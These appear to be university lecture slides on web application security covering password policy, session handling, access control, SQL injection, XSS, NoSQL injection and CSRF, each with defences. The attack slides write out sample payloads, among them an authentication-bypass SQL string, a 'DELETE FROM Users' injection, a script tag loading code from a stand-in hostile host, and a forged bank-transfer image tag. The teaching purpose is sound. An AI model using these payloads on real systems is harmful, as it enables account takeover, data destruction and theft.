Web Application Security

Best Practices for Web Developers

Randy J. Fortier
randy.fortier@uoit.ca
@randy_fortier

Outline

  • General security principles
  • Security best practices
  • Attack vectors and how to protect against them:
    • Bypassing client-side protections
    • Bypassing authentication
    • Session hijacking
    • Bypassing access control/authorization
    • Attacking applications

Web Application Security

General Security Principles

CIA

  • Confidentiality
    • Data must remain hidden from 3rd parties
    • e.g. Bank user details (such as account balance) must not be visible, even if that data passes through a network under the control of a 3rd party
  • Integrity
    • Data (transmitted or stored) must remain unchanged by 3rd parties
    • e.g. Data in a database must be password-protected in a physically secured server
    • e.g. Data in transit over the Internet must be encrypted in such a way that 3rd parties cannot modify the data
  • Availability
    • A service or product must remain accessible to its customers
    • e.g. A website must remain online so that customers can make purchases

AAA

  • Authentication
    • Upon authenticating, we should know definitively who a user is
    • e.g. When boarding a flight, the flight attendants look over your passport (including photo) and boarding pass
  • Authorization/access control
    • Users that do not have the privileges required to perform a transaction are prevented from performing such transactions
    • e.g. Only managers can issue a refund in cash to a customer
  • Accountability (aka non-repudiation)
    • Users that invoke some transaction must be unable to deny that they performed the transaction
    • e.g. Bank customers that withdraw money from a bank cannot claim that they did not do so, provided that they sign a withdrawal form

Fundamental Principles of Security

  • Security of any system is only as strong as its weakest link
  • No user-supplied data should ever be trusted blindly
  • People are nearly always the weakest link

Fundamental Principles of Security

  • Security of any system is only as strong as its weakest link
    • e.g. An assassin whose target is constantly surrounded by bodyguards, mail/food checked for bombs/poison
      • In this situation, if the target’s family is unprotected, the target is just as vulnerable to coercion as if there were no other protections
    • e.g. A database server with top-notch encryption, authentication, access control, but physically located behind an unlocked door
      • Someone could steal the hard drive
  • No user-supplied data should ever be trusted blindly
  • People are nearly always the weakest link

Fundamental Principles of Security

  • Security of any system is only as strong as its weakest link
  • No user-supplied data should ever be trusted blindly
    • Users are generally unknown people, and as such should not be trusted
    • Even employees can be untrustworthy at times (backdoors)
    • Even if you have some measures in place to sanitize user data, it may not be sufficient since the user can bypass those measures
  • People are nearly always the weakest link

Fundamental Principles of Security

  • Security of any system is only as strong as its weakest link
  • No user-supplied data should ever be trusted blindly
  • People are nearly always the weakest link
    • Users create weak passwords or security questions
    • Users write passwords on a sticky note on their desk, tell other people their passwords (social engineering)
    • Users leave their doors unlocked
    • Users leave their session logged in, lose their phones/tablets/laptops
    • Users improperly erase sensitive data
    • Administrators set permissions on files incorrectly
    • Developers neglect to properly protect data in memory

Pitfalls of Security

  • Watch out for these common mistakes:
  • Making passwords too long or complicated
  • Forcing users to enable insecure features in their browsers to use your application (e.g. Flash)
  • Security through obscurity
    • Assuming that the user is unaware of something, does not prevent them from using it
    • e.g. Key hidden under your doormat
    • e.g. The IP address of the database server

Web Application Security

Bypassing Client Controls

Client Controls

  • In a web application, a client control is any measure the developers take to restrict input from (and output to) the user
  • It is so-named, because the measures execute on the browser (i.e. the client)

Client Control Examples

  • JavaScript validation
    • Validate valid E-Mails, phones, usernames
    • Text entry limits
    • Ensure users cannot type more than 40 characters for a username
    • Using HTML attributes, JavaScript
  • Information hiding
    • Hidden fields
    • Cookies
    • HTTP headers
    • POST data
    • URL parameters

Client-side proxies

  • A tool that intercepts web requests
    • They are not transmitted until you authorize it
    • You can modify any data contained within the request before sending it
    • When the response comes back, you can similarly modify it before it reaches your browser
  • Examples:
    • Fiddler
    • BurpSuite
    • ParosProxy
    • ProxyFuzz

Other tools for bypassing client controls

  • The commands curl and wget also allow you to send arbitrary POST data, HTTP headers, Cookies, etc.
    • wget --post-data=?username=… http://abc.com/attackme
    • wget --referer=http://trustme.com http://abc.com/attackme
    • wget --load-cookies cookies.txt http://abc.com/attackme
  • Browsers also allow users to disable JavaScript
    • This may not even be malicious

Bypassing authentication

  • Weak points in authentication:
    • Weak passwords or initial passwords
    • Weak security questions, answers
    • Lack of two-factor authentication
    • No lockout mechanism
    • Useful feedback during login, registration, change password
    • Default open authentication
    • Vulnerable login page (discussed in ‘Attacking the Application’)
    • Vulnerable ‘change password’ or ‘forgot username’ pages

Bypassing authentication

  • Initial and ongoing passwords must be strong
    • Alphabet: Uppercase, lowercase, numbers, symbols, Unicode?
      • Too difficult? They’ll write it down!
    • Length: Minimum and maximum length?
      • Too short, can brute force it
      • Minimum should be 8 characters
    • Password change policy
      • e.g. change passwords every 3 months, at least 3 unique passwords
      • Too many passwords? Yep, they’ll write them down
  • PINs (bank cards, credit cards, phones)
    • Tiny alphabet, only 4 characters long (easily crackable)

Password cracking techniques:

  • Brute force: Try every password
    • Recommendation: Longer is better, so it a large alphabet
    • With GPUs, this can happen much faster (10,000 hashes/s versus 5,000,000,000 hashes/s)
  • Dictionary: Try a common list of passwords
    • Recommendation: Dictionary words can be prohibited
  • Rainbow tables: Use pre-computed hashes to compare
    • You can buy already generated tables of plaintext/hash combinations
    • It is just a matter of searching them to find a match
    • Recommendation: Use a salt when you hash the passwords

Password cracking tools:

  • L0phtcrack - Brute force, dictionary
  • Cain and Abel - Brute force, dictionary
  • John the Ripper - Brute force, dictionary
  • Rainbow crack - Rainbow table crack, RT generation
  • Hashcat - Brute force, using GPU

Password recovery:

  • No website should have a password recovery
    • If they do, be sure to change the password to something unique to that website
    • It means they store the password unhashed!
    • Likely also true if they send your password to you after registration, to confirm

Password reset:

  • Resetting passwords is usually a necessary feature
    • It should be as secure as logging in
  • General procedure:
    • Send a message to the original E-Mail they used during registration
      • It is a race to see who gets this message first, the attacker or the user
    • Give them a time-sensitive link to click to reset
      • Not an initial password
      • Make the link difficult to guess (more on this later)
    • Ask them some security questions to be sure

Login protection:

  • Measures
    • Wrong username and wrong password should be identical to the user
    • There should be a short delay (2 seconds?) between login attempts
    • After too many attempts, a temporary lockout is appropriate
  • How long should the lockout be?
    • Too long, attackers can use it to disable their enemy’s account
    • Too short, attackers can continue a brute force attack
    • A typical amount would be 15 minutes

Storing passwords:

  • Credentials must be stored in hashed form only
  • Recommended hashing algorithms (adapted from OWASP):
    • Argon2 - when it becomes available (the winner of the password hashing competition)
    • PBKDF2 - when FIPS certification or enterprise support on many platforms is required
    • scrypt - where resisting any/all hardware accelerated attacks is necessary but support isn’t
    • bcrypt - where PBKDF2 or scrypt support is not available.

Storing passwords:

  • How should I store them?
    • No: Cookies (usernames), hidden fields (usernames), etc.
    • Yes: Database
  • What about when transferring them?
    • Always use SSL/TLS for logins, password resets, registration, etc.

Attacking session management:

  • Someone takes over your session, it is basically the same as if they were able to log in as you
    • This is called session hijacking
  • Guidelines for session IDs:
    • Hard to guess (long, alphabet, unpredictable)
      • Avoid using insecure RNGs; use ones designed for security
      • Sequencer tools can give clues to the entropy (randomness) of session IDs
    • Hidden (not in URL parameters, using SSL/TLS throughout)
    • Session Ids are often stored as cookies or sent as POST data or URL parameters

Attacking session management:

  • Use TLS/SSL (complete website)
  • Set session cookies to secure
  • Terminate session when logging out, and when timing out
  • Modify session ID as user goes from page to page

Attacking access control:

  • Administrative functions are just a URI
    • Many web developers just hide links to that URI
      • Security through obscurity
  • Proper access controls:
    • Use middleware on each restricted page
    • Check user's role (set upon login)
    • Check which roles have access to that functionality

Attacking the application:

  • Injection attacks
    • SQL injection
    • Cross site scripting (XSS)
    • MongoDB/Mongoose injection
  • Other
    • Cross-domain request forgery (CSRF)

Attacking the application: SQL Injection


<?php
$username = $_POST["username"];
$hashedPassword = $_POST["hashpass"];
$query = "SELECT * FROM Auth WHERE username = '$username' 
          AND hashedPassword = '$hashedPassword'";
try {
  $results = $conn->query($query);  
  $results->setFetchMode(PDO::FETCH_ASSOC);    
  if ($row = $results->fetch()) {
    // success!
  }
} catch(PDOException $e) {  
    echo $e->getMessage();  
}
?>
                        

Attacking the application: SQL Injection

  • If the user enters benign values, for example:
    • username: bsmith
    • password: opensesame

SELECT * FROM Auth WHERE username = 'bsmith' 
                     AND hashedPassword = '&d#6H~54L';
                        

Attacking the application: SQL Injection

  • If the user enters malicious values, for example:
    • username: ' OR 1=1; --
    • password: opensesame

SELECT * FROM Auth WHERE username = '' OR 1=1; --' 
                     AND hashedPassword = '&d#6H~54L';
                        

Attacking the application: SQL Injection

  • What would happen?
  • Authentication bypass
  • Consider the following user-supplied data:
    • '; DELETE FROM Users;--
    • '; UNION SELECT * FROM Users;--

Attacking the application: SQL Injection

  • How to defend
    • Validate all data (blacklist, whitelist)
    • Sanitize data (remove dangerous characters)
    • Use prepared statements (treat values as string data only, not SQL)

Attacking the application: XSS

  • Video Explanation
  • Injecting JavaScript syntax into values
    • JavaScript is executed when value is rendered into an HTML page

app.get('/loginConfirmed', function(request, response) {
    var username = request.params.username;
    response.send('<p>Logged in as: ' + username + '</p>')
});
                        

Attacking the application: XSS

  • If the user enters benign values, for example:
    • username: bsmith

<p>Logged in as: bsmith</p>
                        

Attacking the application: XSS

  • If the user enters malicious values, for example:
    • username: <script src="http://ev.il/mal.js"></script>bsmith

<p>Logged in as: <script src="http://ev.il/mal.js"></script>bsmith</p>
                        

Attacking the application: XSS

  • What could happen?
    • Stealing cookies (e.g. session cookies)
    • DoS for each user that renders the page
    • Phishing

Attacking the application: XSS

  • How to defend
    • Validate all data (blacklist, whitelist)
    • Sanitize data (remove dangerous characters)
    • Most templating engines sanitize HTML (including Pug)
    • https://github.com/google/caja/blob/master/src/com/google/caja/plugin/html-sanitizer.js

Attacking the application: MongoDB/JSON injection

  • Explanation
  • Injecting MongoDB query (JSON) syntax into values
    • Can only be used when data is passed via JSON (e.g. AngularJS)

User.find({username: req.body.username}, function(error, results) {
  // check if results has 1 entry
});
                        

Attacking the application: MongoDB/JSON injection

  • If the user enters benign values, for example:
    • username: bsmith

User.find({username: 'bsmith'}, function(error, results) {
  // check if results has 1 entry
});
                        

Attacking the application: MongoDB/JSON injection

  • If the user enters malicious values, for example:
    • username: {$gt: ''}

User.find({username: {$gt: ''}}, function(error, results) {
  // check if results has 1 entry
});
                        

Attacking the application: MongoDB/JSON injection

  • What could happen?
    • Authentication bypass
    • Information leakage (database phishing)
    • Database integrity attack (when used with update, remove)

Attacking the application: MongoDB/JSON injection

Attacking the application: CSRF

  • Video Explanation
  • Secretly invoking web services from another application
    • Can only be used when user is authenticated with vulnerable web app

<img src="http://mybank.com/transferFunds?amount=1000&destAcctId=12345" />
                        

Attacking the application: CSRF

  • What could happen?
    • Anything that you can do in an authenticated web application:
      • Banking/bill payment transactions
      • Social network apps installed
      • Information leakage from social networks, E-Mail, Cloud services

Attacking the application: CSRF

  • How to defend
    • One-time tokens:
      • Generate a randomized, one-time token for each form displayed
      • Verify that one-time token before completing the action the form represents
    • Use POST
      • It doesn't eliminate CSRF, but it does significantly reduce the exposure

Wrap-Up

  • In this section, we learned about:
    • General security principles
    • Best practices for web security
    • Common attacks
      • ...and how to defend against them